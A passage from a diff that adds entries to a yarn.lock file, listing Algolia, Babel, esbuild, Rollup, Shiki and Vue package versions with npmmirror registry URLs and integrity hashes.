+  resolved "https://registry.npmmirror.com/@algolia/recommend/-/recommend-4.24.0.tgz#8a3f78aea471ee0a4836b78fd2aad4e9abcaaf34"
+  integrity sha512-P9kcgerfVBpfYHDfVZDvvdJv0lEoCvzNlOy2nykyt5bK8TyieYyiD0lguIJdRZZYGre03WIAFf14pgE+V+IBlw==
+  dependencies:
+    "@algolia/cache-browser-local-storage" "4.24.0"
+    "@algolia/cache-common" "4.24.0"
+    "@algolia/cache-in-memory" "4.24.0"
+    "@algolia/client-common" "4.24.0"
+    "@algolia/client-search" "4.24.0"
+    "@algolia/logger-common" "4.24.0"
+    "@algolia/logger-console" "4.24.0"
+    "@algolia/requester-browser-xhr" "4.24.0"
+    "@algolia/requester-common" "4.24.0"
+    "@algolia/requester-node-http" "4.24.0"
+    "@algolia/transporter" "4.24.0"
+
+"@algolia/requester-browser-xhr@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.24.0.tgz#313c5edab4ed73a052e75803855833b62dd19c16"
+  integrity sha512-Z2NxZMb6+nVXSjF13YpjYTdvV3032YTBSGm2vnYvYPA6mMxzM3v5rsCiSspndn9rzIW4Qp1lPHBvuoKJV6jnAA==
+  dependencies:
+    "@algolia/requester-common" "4.24.0"
+
+"@algolia/requester-common@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.24.0.tgz#1c60c198031f48fcdb9e34c4057a3ea987b9a436"
+  integrity sha512-k3CXJ2OVnvgE3HMwcojpvY6d9kgKMPRxs/kVohrwF5WMr2fnqojnycZkxPoEg+bXm8fi5BBfFmOqgYztRtHsQA==
+
+"@algolia/requester-node-http@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.24.0.tgz#4461593714031d02aa7da221c49df675212f482f"
+  integrity sha512-JF18yTjNOVYvU/L3UosRcvbPMGT9B+/GQWNWnenIImglzNVGpyzChkXLnrSf6uxwVNO6ESGu6oN8MqcGQcjQJw==
+  dependencies:
+    "@algolia/requester-common" "4.24.0"
+
+"@algolia/transporter@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.24.0.tgz#226bb1f8af62430374c1972b2e5c8580ab275102"
+  integrity sha512-86nI7w6NzWxd1Zp9q3413dRshDqAzSbsQjhcDhPIatEFiZrL1/TjnHL8S7jVKFePlIMzDsZWXAXwXzcok9c5oA==
+  dependencies:
+    "@algolia/cache-common" "4.24.0"
+    "@algolia/logger-common" "4.24.0"
+    "@algolia/requester-common" "4.24.0"
+
+"@babel/helper-string-parser@^7.24.8":
+  version "7.24.8"
+  resolved "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.24.8.tgz#5b3329c9a58803d5df425e5785865881a81ca48d"
+  integrity sha512-pO9KhhRcuUyGnJWwyEgnRJTSIZHiT+vMD0kPeD+so0l7mxkMT19g3pjY9GTnHySck/hDzq+dtW/4VgnMkippsQ==
+
+"@babel/helper-validator-identifier@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.24.7.tgz#75b889cfaf9e35c2aaf42cf0d72c8e91719251db"
+  integrity sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w==
+
+"@babel/parser@^7.24.7":
+  version "7.25.3"
+  resolved "https://registry.npmmirror.com/@babel/parser/-/parser-7.25.3.tgz#91fb126768d944966263f0657ab222a642b82065"
+  integrity sha512-iLTJKDbJ4hMvFPgQwwsVoxtHyWpKKPBrxkANrSYewDPaPpT5py5yeVkgPIJ7XYXhndxJpaA3PyALSXQ7u8e/Dw==
+  dependencies:
+    "@babel/types" "^7.25.2"
+
+"@babel/types@^7.25.2":
+  version "7.25.2"
+  resolved "https://registry.npmmirror.com/@babel/types/-/types-7.25.2.tgz#55fb231f7dc958cd69ea141a4c2997e819646125"
+  integrity sha512-YTnYtra7W9e6/oAZEHj0bJehPRUlLH9/fbpT5LfB0NhQXyALCRkRs3zH9v07IYhkgpqX6Z78FnuccZr/l4Fs4Q==
+  dependencies:
+    "@babel/helper-string-parser" "^7.24.8"
+    "@babel/helper-validator-identifier" "^7.24.7"
+    to-fast-properties "^2.0.0"
+
+"@docsearch/css@3.6.1", "@docsearch/css@^3.6.0":
+  version "3.6.1"
+  resolved "https://registry.npmmirror.com/@docsearch/css/-/css-3.6.1.tgz#f0a728ecb486c81f2d282650fc1820c914913408"
+  integrity sha512-VtVb5DS+0hRIprU2CO6ZQjK2Zg4QU5HrDM1+ix6rT0umsYvFvatMAnf97NHZlVWDaaLlx7GRfR/7FikANiM2Fg==
+
+"@docsearch/js@^3.6.0":
+  version "3.6.1"
+  resolved "https://registry.npmmirror.com/@docsearch/js/-/js-3.6.1.tgz#aaf6c6427371a53c1cd46b2ed08b9c353e5cd02d"
+  integrity sha512-erI3RRZurDr1xES5hvYJ3Imp7jtrXj6f1xYIzDzxiS7nNBufYWPbJwrmMqWC5g9y165PmxEmN9pklGCdLi0Iqg==
+  dependencies:
+    "@docsearch/react" "3.6.1"
+    preact "^10.0.0"
+
+"@docsearch/react@3.6.1":
+  version "3.6.1"
+  resolved "https://registry.npmmirror.com/@docsearch/react/-/react-3.6.1.tgz#0f826df08693293806d64277d6d9c38636211b97"
+  integrity sha512-qXZkEPvybVhSXj0K7U3bXc233tk5e8PfhoZ6MhPOiik/qUQxYC+Dn9DnoS7CxHQQhHfCvTiN0eY9M12oRghEXw==
+  dependencies:
+    "@algolia/autocomplete-core" "1.9.3"
+    "@algolia/autocomplete-preset-algolia" "1.9.3"
+    "@docsearch/css" "3.6.1"
+    algoliasearch "^4.19.1"
+
+"@esbuild/aix-ppc64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz#c7184a326533fcdf1b8ee0733e21c713b975575f"
+  integrity sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==
+
+"@esbuild/android-arm64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz#09d9b4357780da9ea3a7dfb833a1f1ff439b4052"
+  integrity sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==
+
+"@esbuild/android-arm@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.21.5.tgz#9b04384fb771926dfa6d7ad04324ecb2ab9b2e28"
+  integrity sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==
+
+"@esbuild/android-x64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.21.5.tgz#29918ec2db754cedcb6c1b04de8cd6547af6461e"
+  integrity sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==
+
+"@esbuild/darwin-arm64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz#e495b539660e51690f3928af50a76fb0a6ccff2a"
+  integrity sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==
+
+"@esbuild/darwin-x64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz#c13838fa57372839abdddc91d71542ceea2e1e22"
+  integrity sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==
+
+"@esbuild/freebsd-arm64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz#646b989aa20bf89fd071dd5dbfad69a3542e550e"
+  integrity sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==
+
+"@esbuild/freebsd-x64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz#aa615cfc80af954d3458906e38ca22c18cf5c261"
+  integrity sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==
+
+"@esbuild/linux-arm64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz#70ac6fa14f5cb7e1f7f887bcffb680ad09922b5b"
+  integrity sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==
+
+"@esbuild/linux-arm@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz#fc6fd11a8aca56c1f6f3894f2bea0479f8f626b9"
+  integrity sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==
+
+"@esbuild/linux-ia32@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz#3271f53b3f93e3d093d518d1649d6d68d346ede2"
+  integrity sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==
+
+"@esbuild/linux-loong64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz#ed62e04238c57026aea831c5a130b73c0f9f26df"
+  integrity sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==
+
+"@esbuild/linux-mips64el@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz#e79b8eb48bf3b106fadec1ac8240fb97b4e64cbe"
+  integrity sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==
+
+"@esbuild/linux-ppc64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz#5f2203860a143b9919d383ef7573521fb154c3e4"
+  integrity sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==
+
+"@esbuild/linux-riscv64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz#07bcafd99322d5af62f618cb9e6a9b7f4bb825dc"
+  integrity sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==
+
+"@esbuild/linux-s390x@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz#b7ccf686751d6a3e44b8627ababc8be3ef62d8de"
+  integrity sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==
+
+"@esbuild/linux-x64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz#6d8f0c768e070e64309af8004bb94e68ab2bb3b0"
+  integrity sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==
+
+"@esbuild/netbsd-x64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz#bbe430f60d378ecb88decb219c602667387a6047"
+  integrity sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==
+
+"@esbuild/openbsd-x64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz#99d1cf2937279560d2104821f5ccce220cb2af70"
+  integrity sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==
+
+"@esbuild/sunos-x64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz#08741512c10d529566baba837b4fe052c8f3487b"
+  integrity sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==
+
+"@esbuild/win32-arm64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz#675b7385398411240735016144ab2e99a60fc75d"
+  integrity sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==
+
+"@esbuild/win32-ia32@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz#1bfc3ce98aa6ca9a0969e4d2af72144c59c1193b"
+  integrity sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==
+
+"@esbuild/win32-x64@0.21.5":
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz#acad351d582d157bb145535db2a6ff53dd514b5c"
+  integrity sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==
+
+"@jridgewell/sourcemap-codec@^1.5.0":
+  version "1.5.0"
+  resolved "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a"
+  integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==
+
+"@rollup/rollup-android-arm-eabi@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.20.0.tgz#c3f5660f67030c493a981ac1d34ee9dfe1d8ec0f"
+  integrity sha512-TSpWzflCc4VGAUJZlPpgAJE1+V60MePDQnBd7PPkpuEmOy8i87aL6tinFGKBFKuEDikYpig72QzdT3QPYIi+oA==
+
+"@rollup/rollup-android-arm64@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.20.0.tgz#64161f0b67050023a3859e723570af54a82cff5c"
+  integrity sha512-u00Ro/nok7oGzVuh/FMYfNoGqxU5CPWz1mxV85S2w9LxHR8OoMQBuSk+3BKVIDYgkpeOET5yXkx90OYFc+ytpQ==
+
+"@rollup/rollup-darwin-arm64@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.20.0.tgz#25f3d57b1da433097cfebc89341b355901615763"
+  integrity sha512-uFVfvzvsdGtlSLuL0ZlvPJvl6ZmrH4CBwLGEFPe7hUmf7htGAN+aXo43R/V6LATyxlKVC/m6UsLb7jbG+LG39Q==
+
+"@rollup/rollup-darwin-x64@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.20.0.tgz#d8ddaffb636cc2f59222c50316e27771e48966df"
+  integrity sha512-xbrMDdlev53vNXexEa6l0LffojxhqDTBeL+VUxuuIXys4x6xyvbKq5XqTXBCEUA8ty8iEJblHvFaWRJTk/icAQ==
+
+"@rollup/rollup-linux-arm-gnueabihf@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.20.0.tgz#41bd4fcffa20fb84f3dbac6c5071638f46151885"
+  integrity sha512-jMYvxZwGmoHFBTbr12Xc6wOdc2xA5tF5F2q6t7Rcfab68TT0n+r7dgawD4qhPEvasDsVpQi+MgDzj2faOLsZjA==
+
+"@rollup/rollup-linux-arm-musleabihf@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.20.0.tgz#842077c5113a747eb5686f19f2f18c33ecc0acc8"
+  integrity sha512-1asSTl4HKuIHIB1GcdFHNNZhxAYEdqML/MW4QmPS4G0ivbEcBr1JKlFLKsIRqjSwOBkdItn3/ZDlyvZ/N6KPlw==
+
+"@rollup/rollup-linux-arm64-gnu@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.20.0.tgz#65d1d5b6778848f55b7823958044bf3e8737e5b7"
+  integrity sha512-COBb8Bkx56KldOYJfMf6wKeYJrtJ9vEgBRAOkfw6Ens0tnmzPqvlpjZiLgkhg6cA3DGzCmLmmd319pmHvKWWlQ==
+
+"@rollup/rollup-linux-arm64-musl@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.20.0.tgz#50eef7d6e24d0fe3332200bb666cad2be8afcf86"
+  integrity sha512-+it+mBSyMslVQa8wSPvBx53fYuZK/oLTu5RJoXogjk6x7Q7sz1GNRsXWjn6SwyJm8E/oMjNVwPhmNdIjwP135Q==
+
+"@rollup/rollup-linux-powerpc64le-gnu@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.20.0.tgz#8837e858f53c84607f05ad0602943e96d104c6b4"
+  integrity sha512-yAMvqhPfGKsAxHN8I4+jE0CpLWD8cv4z7CK7BMmhjDuz606Q2tFKkWRY8bHR9JQXYcoLfopo5TTqzxgPUjUMfw==
+
+"@rollup/rollup-linux-riscv64-gnu@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.20.0.tgz#c894ade2300caa447757ddf45787cca246e816a4"
+  integrity sha512-qmuxFpfmi/2SUkAw95TtNq/w/I7Gpjurx609OOOV7U4vhvUhBcftcmXwl3rqAek+ADBwSjIC4IVNLiszoj3dPA==
+
+"@rollup/rollup-linux-s390x-gnu@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.20.0.tgz#5841e5390d4c82dd5cdf7b2c95a830e3c2f47dd3"
+  integrity sha512-I0BtGXddHSHjV1mqTNkgUZLnS3WtsqebAXv11D5BZE/gfw5KoyXSAXVqyJximQXNvNzUo4GKlCK/dIwXlz+jlg==
+
+"@rollup/rollup-linux-x64-gnu@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.20.0.tgz#cc1f26398bf777807a99226dc13f47eb0f6c720d"
+  integrity sha512-y+eoL2I3iphUg9tN9GB6ku1FA8kOfmF4oUEWhztDJ4KXJy1agk/9+pejOuZkNFhRwHAOxMsBPLbXPd6mJiCwew==
+
+"@rollup/rollup-linux-x64-musl@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.20.0.tgz#1507465d9056e0502a590d4c1a00b4d7b1fda370"
+  integrity sha512-hM3nhW40kBNYUkZb/r9k2FKK+/MnKglX7UYd4ZUy5DJs8/sMsIbqWK2piZtVGE3kcXVNj3B2IrUYROJMMCikNg==
+
+"@rollup/rollup-win32-arm64-msvc@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.20.0.tgz#86a221f01a2c248104dd0defb4da119f2a73642e"
+  integrity sha512-psegMvP+Ik/Bg7QRJbv8w8PAytPA7Uo8fpFjXyCRHWm6Nt42L+JtoqH8eDQ5hRP7/XW2UiIriy1Z46jf0Oa1kA==
+
+"@rollup/rollup-win32-ia32-msvc@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.20.0.tgz#8bc8f77e02760aa664694b4286d6fbea7f1331c5"
+  integrity sha512-GabekH3w4lgAJpVxkk7hUzUf2hICSQO0a/BLFA11/RMxQT92MabKAqyubzDZmMOC/hcJNlc+rrypzNzYl4Dx7A==
+
+"@rollup/rollup-win32-x64-msvc@4.20.0":
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.20.0.tgz#601fffee719a1e8447f908aca97864eec23b2784"
+  integrity sha512-aJ1EJSuTdGnM6qbVC4B5DSmozPTqIag9fSzXRNNo+humQLG89XpPgdt16Ia56ORD7s+H8Pmyx44uczDQ0yDzpg==
+
+"@shikijs/core@1.12.1", "@shikijs/core@^1.10.3":
+  version "1.12.1"
+  resolved "https://registry.npmmirror.com/@shikijs/core/-/core-1.12.1.tgz#32626494bef573cce01f9e0a36d5776cbc1b2e58"
+  integrity sha512-biCz/mnkMktImI6hMfMX3H9kOeqsInxWEyCHbSlL8C/2TR1FqfmGxTLRNwYCKsyCyxWLbB8rEqXRVZuyxuLFmA==
+  dependencies:
+    "@types/hast" "^3.0.4"
+
+"@shikijs/transformers@^1.10.3":
+  version "1.12.1"
+  resolved "https://registry.npmmirror.com/@shikijs/transformers/-/transformers-1.12.1.tgz#8aedda6f038636662666c771dbb13296084fce34"
+  integrity sha512-zOpj/S2thBvnJV4Ty3EE8aRs/VqCbV+lgtEYeBRkPxTW22uLADEIZq0qjt5W2Rfy2KSu29e73nRyzp4PefjUTg==
+  dependencies:
+    shiki "1.12.1"
+
+"@types/estree@1.0.5":
+  version "1.0.5"
+  resolved "https://registry.npmmirror.com/@types/estree/-/estree-1.0.5.tgz#a6ce3e556e00fd9895dd872dd172ad0d4bd687f4"
+  integrity sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==
+
+"@types/hast@^3.0.4":
+  version "3.0.4"
+  resolved "https://registry.npmmirror.com/@types/hast/-/hast-3.0.4.tgz#1d6b39993b82cea6ad783945b0508c25903e15aa"
+  integrity sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==
+  dependencies:
+    "@types/unist" "*"
+
+"@types/linkify-it@^5":
+  version "5.0.0"
+  resolved "https://registry.npmmirror.com/@types/linkify-it/-/linkify-it-5.0.0.tgz#21413001973106cda1c3a9b91eedd4ccd5469d76"
+  integrity sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==
+
+"@types/markdown-it@^14.1.1":
+  version "14.1.2"
+  resolved "https://registry.npmmirror.com/@types/markdown-it/-/markdown-it-14.1.2.tgz#57f2532a0800067d9b934f3521429a2e8bfb4c61"
+  integrity sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==
+  dependencies:
+    "@types/linkify-it" "^5"
+    "@types/mdurl" "^2"
+
+"@types/mdurl@^2":
+  version "2.0.0"
+  resolved "https://registry.npmmirror.com/@types/mdurl/-/mdurl-2.0.0.tgz#d43878b5b20222682163ae6f897b20447233bdfd"
+  integrity sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==
+
+"@types/unist@*":
+  version "3.0.2"
+  resolved "https://registry.npmmirror.com/@types/unist/-/unist-3.0.2.tgz#6dd61e43ef60b34086287f83683a5c1b2dc53d20"
+  integrity sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==
+
+"@types/web-bluetooth@^0.0.20":
+  version "0.0.20"
+  resolved "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz#f066abfcd1cbe66267cdbbf0de010d8a41b41597"
+  integrity sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==
+
+"@vitejs/plugin-vue@^5.0.5":
+  version "5.1.2"
+  resolved "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-5.1.2.tgz#f11091e0130eca6c1ca8cfb85ee71ea53b255d31"
+  integrity sha512-nY9IwH12qeiJqumTCLJLE7IiNx7HZ39cbHaysEUd+Myvbz9KAqd2yq+U01Kab1R/H1BmiyM2ShTYlNH32Fzo3A==
+
+"@vue/compiler-core@3.4.37":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.4.37.tgz#55db3900e09424c65c39111a05a3c6e698f371e3"
+  integrity sha512-ZDDT/KiLKuCRXyzWecNzC5vTcubGz4LECAtfGPENpo0nrmqJHwuWtRLxk/Sb9RAKtR9iFflFycbkjkY+W/PZUQ==
+  dependencies:
+    "@babel/parser" "^7.24.7"
+    "@vue/shared" "3.4.37"
+    entities "^5.0.0"
+    estree-walker "^2.0.2"
+    source-map-js "^1.2.0"
+
+"@vue/compiler-dom@3.4.37":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.4.37.tgz#a1fcf79e287cb828545082ff1afa8630480a3044"
+  integrity sha512-rIiSmL3YrntvgYV84rekAtU/xfogMUJIclUMeIKEtVBFngOL3IeZHhsH3UaFEgB5iFGpj6IW+8YuM/2Up+vVag==
+  dependencies:
+    "@vue/compiler-core" "3.4.37"
+    "@vue/shared" "3.4.37"
+
+"@vue/compiler-sfc@3.4.37":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.4.37.tgz#8afaf1a86cb849422c765d4369ba1e85fffe0234"
+  integrity sha512-vCfetdas40Wk9aK/WWf8XcVESffsbNkBQwS5t13Y/PcfqKfIwJX2gF+82th6dOpnpbptNMlMjAny80li7TaCIg==
+  dependencies:
+    "@babel/parser" "^7.24.7"
+    "@vue/compiler-core" "3.4.37"
+    "@vue/compiler-dom" "3.4.37"
+    "@vue/compiler-ssr" "3.4.37"
+    "@vue/shared" "3.4.37"
+    estree-walker "^2.0.2"
+    magic-string "^0.30.10"
+    postcss "^8.4.40"
+    source-map-js "^1.2.0"
+
+"@vue/compiler-ssr@3.4.37":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.4.37.tgz#b75e1c76c3184f86fa9f0ba4d61d13bc6afcbf8a"
+  integrity sha512-TyAgYBWrHlFrt4qpdACh8e9Ms6C/AZQ6A6xLJaWrCL8GCX5DxMzxyeFAEMfU/VFr4tylHm+a2NpfJpcd7+20XA==
+  dependencies:
+    "@vue/compiler-dom" "3.4.37"
+    "@vue/shared" "3.4.37"
+
+"@vue/devtools-api@^7.3.5":
+  version "7.3.7"
+  resolved "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-7.3.7.tgz#78f46e9d7af206f06392b4139045e6538cef0a19"
